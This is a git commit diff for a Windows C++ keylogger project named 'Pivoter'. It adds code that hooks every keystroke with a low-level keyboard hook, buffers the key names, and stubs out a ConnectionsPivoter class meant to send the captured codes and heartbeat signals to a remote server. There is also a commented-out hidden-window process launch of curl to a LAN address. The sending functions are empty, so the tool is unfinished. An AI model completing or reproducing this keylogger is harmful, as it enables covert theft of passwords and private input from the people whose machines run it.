ConnectionsPivoter: Add the initial code for the ConnectionsPivoter
This commit is contained in:
parent
35f53e30b3
commit
74190d95e0
44
Pivoter.cpp
44
Pivoter.cpp
|
@ -8,9 +8,23 @@
|
||||||
#include <string.h>
|
#include <string.h>
|
||||||
#include <Windows.h>
|
#include <Windows.h>
|
||||||
#include <WinUser.h>
|
#include <WinUser.h>
|
||||||
|
#include <vector>
|
||||||
#include "codes.h"
|
#include "codes.h"
|
||||||
|
#include "connections_pivoter.h"
|
||||||
|
|
||||||
|
#define DEBUG FALSE
|
||||||
|
#define KEYS_LIMIT 100
|
||||||
HHOOK keyboard_events_hook;
|
HHOOK keyboard_events_hook;
|
||||||
|
std::vector<std::string> virt_codes;
|
||||||
|
|
||||||
|
void stack_codes() {
|
||||||
|
if (virt_codes.size() < KEYS_LIMIT)
|
||||||
|
return;
|
||||||
|
|
||||||
|
std::cout << "Emptied the vector" << std::endl;
|
||||||
|
|
||||||
|
virt_codes.clear();
|
||||||
|
}
|
||||||
|
|
||||||
LRESULT CALLBACK keyboard_callback(int nCode, WPARAM wParam, LPARAM lParam) {
|
LRESULT CALLBACK keyboard_callback(int nCode, WPARAM wParam, LPARAM lParam) {
|
||||||
if (wParam == WM_KEYDOWN) {
|
if (wParam == WM_KEYDOWN) {
|
||||||
|
@ -18,7 +32,13 @@ LRESULT CALLBACK keyboard_callback(int nCode, WPARAM wParam, LPARAM lParam) {
|
||||||
DWORD virt_code = kbd_struct->vkCode;
|
DWORD virt_code = kbd_struct->vkCode;
|
||||||
|
|
||||||
std::string string_key_code = VIRTUAL_KEY_CODE_TABLE[virt_code].name;
|
std::string string_key_code = VIRTUAL_KEY_CODE_TABLE[virt_code].name;
|
||||||
std::cout << "[!!] Key pressed: " << string_key_code << std::endl;
|
if (DEBUG) {
|
||||||
|
std::cout << "Key pressed: " << string_key_code << std::endl;
|
||||||
|
std::cout << "Len of the vector: " << virt_codes.size() << std::endl;
|
||||||
|
}
|
||||||
|
|
||||||
|
virt_codes.push_back(string_key_code);
|
||||||
|
stack_codes();
|
||||||
}
|
}
|
||||||
return CallNextHookEx(keyboard_events_hook, nCode, wParam, lParam);
|
return CallNextHookEx(keyboard_events_hook, nCode, wParam, lParam);
|
||||||
}
|
}
|
||||||
|
@ -26,7 +46,29 @@ LRESULT CALLBACK keyboard_callback(int nCode, WPARAM wParam, LPARAM lParam) {
|
||||||
int main() {
|
int main() {
|
||||||
|
|
||||||
keyboard_events_hook = SetWindowsHookExA(WH_KEYBOARD_LL, keyboard_callback, 0, 0);
|
keyboard_events_hook = SetWindowsHookExA(WH_KEYBOARD_LL, keyboard_callback, 0, 0);
|
||||||
|
|
||||||
|
STARTUPINFOA startup_info;
|
||||||
|
PROCESS_INFORMATION process_info;
|
||||||
|
|
||||||
|
memset(&startup_info, 0, sizeof(STARTUPINFOA));
|
||||||
|
memset(&process_info, 0, sizeof(PROCESS_INFORMATION));
|
||||||
|
startup_info.cb = sizeof(startup_info);
|
||||||
|
|
||||||
|
/*BOOL test = CreateProcessA(
|
||||||
|
NULL,
|
||||||
|
(LPSTR) "curl http://192.168.1.108",
|
||||||
|
NULL,
|
||||||
|
NULL,
|
||||||
|
false,
|
||||||
|
CREATE_NO_WINDOW,
|
||||||
|
NULL,
|
||||||
|
NULL,
|
||||||
|
&startup_info,
|
||||||
|
&process_info);
|
||||||
|
if (test == FALSE) {
|
||||||
|
std::cout << "problem!" << std::endl;
|
||||||
|
}*/
|
||||||
|
|
||||||
// EVENT LOOP
|
// EVENT LOOP
|
||||||
while (GetMessage(NULL, NULL, 0, 0));
|
while (GetMessage(NULL, NULL, 0, 0));
|
||||||
|
|
||||||
|
|
|
@ -118,6 +118,7 @@
|
||||||
<SDLCheck>true</SDLCheck>
|
<SDLCheck>true</SDLCheck>
|
||||||
<PreprocessorDefinitions>NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
<PreprocessorDefinitions>NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||||
<ConformanceMode>true</ConformanceMode>
|
<ConformanceMode>true</ConformanceMode>
|
||||||
|
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||||
</ClCompile>
|
</ClCompile>
|
||||||
<Link>
|
<Link>
|
||||||
<SubSystem>Console</SubSystem>
|
<SubSystem>Console</SubSystem>
|
||||||
|
@ -127,10 +128,12 @@
|
||||||
</Link>
|
</Link>
|
||||||
</ItemDefinitionGroup>
|
</ItemDefinitionGroup>
|
||||||
<ItemGroup>
|
<ItemGroup>
|
||||||
|
<ClCompile Include="connections_pivoter.cpp" />
|
||||||
<ClCompile Include="Pivoter.cpp" />
|
<ClCompile Include="Pivoter.cpp" />
|
||||||
</ItemGroup>
|
</ItemGroup>
|
||||||
<ItemGroup>
|
<ItemGroup>
|
||||||
<ClInclude Include="codes.h" />
|
<ClInclude Include="codes.h" />
|
||||||
|
<ClInclude Include="connections_pivoter.h" />
|
||||||
</ItemGroup>
|
</ItemGroup>
|
||||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
|
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
|
||||||
<ImportGroup Label="ExtensionTargets">
|
<ImportGroup Label="ExtensionTargets">
|
||||||
|
|
|
@ -18,10 +18,16 @@
|
||||||
<ClCompile Include="Pivoter.cpp">
|
<ClCompile Include="Pivoter.cpp">
|
||||||
<Filter>Source Files</Filter>
|
<Filter>Source Files</Filter>
|
||||||
</ClCompile>
|
</ClCompile>
|
||||||
|
<ClCompile Include="connections_pivoter.cpp">
|
||||||
|
<Filter>Source Files</Filter>
|
||||||
|
</ClCompile>
|
||||||
</ItemGroup>
|
</ItemGroup>
|
||||||
<ItemGroup>
|
<ItemGroup>
|
||||||
<ClInclude Include="codes.h">
|
<ClInclude Include="codes.h">
|
||||||
<Filter>Header Files</Filter>
|
<Filter>Header Files</Filter>
|
||||||
</ClInclude>
|
</ClInclude>
|
||||||
|
<ClInclude Include="connections_pivoter.h">
|
||||||
|
<Filter>Header Files</Filter>
|
||||||
|
</ClInclude>
|
||||||
</ItemGroup>
|
</ItemGroup>
|
||||||
</Project>
|
</Project>
|
18
connections_pivoter.cpp
Normal file
18
connections_pivoter.cpp
Normal file
|
@ -0,0 +1,18 @@
|
||||||
|
#include "connections_pivoter.h"
|
||||||
|
#include <iostream>
|
||||||
|
#include <string>
|
||||||
|
#include <vector>
|
||||||
|
#include <Windows.h>
|
||||||
|
|
||||||
|
ConnectionsPivoter::ConnectionsPivoter(std::string server, SHORT port) {
|
||||||
|
this->server = server;
|
||||||
|
this->port = port;
|
||||||
|
}
|
||||||
|
|
||||||
|
BOOL send_alive_signal() {
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
BOOL send_codes(std::vector<std::string> codes) {
|
||||||
|
|
||||||
|
}
|
21
connections_pivoter.h
Normal file
21
connections_pivoter.h
Normal file
|
@ -0,0 +1,21 @@
|
||||||
|
#ifndef CONNECTIONS_PIVOTER_H
|
||||||
|
#define CONNECTIONS_PIVOTER_H
|
||||||
|
|
||||||
|
#include <iostream>
|
||||||
|
#include <string>
|
||||||
|
#include <vector>
|
||||||
|
#include <Windows.h>
|
||||||
|
|
||||||
|
class ConnectionsPivoter {
|
||||||
|
public:
|
||||||
|
std::string server;
|
||||||
|
SHORT port;
|
||||||
|
ConnectionsPivoter(std::string server, SHORT port);
|
||||||
|
|
||||||
|
BOOL send_alive_signal();
|
||||||
|
BOOL send_codes(std::vector<std::string> codes);
|
||||||
|
private:
|
||||||
|
|
||||||
|
};
|
||||||
|
|
||||||
|
#endif
|
Loading…
Reference in New Issue
Block a user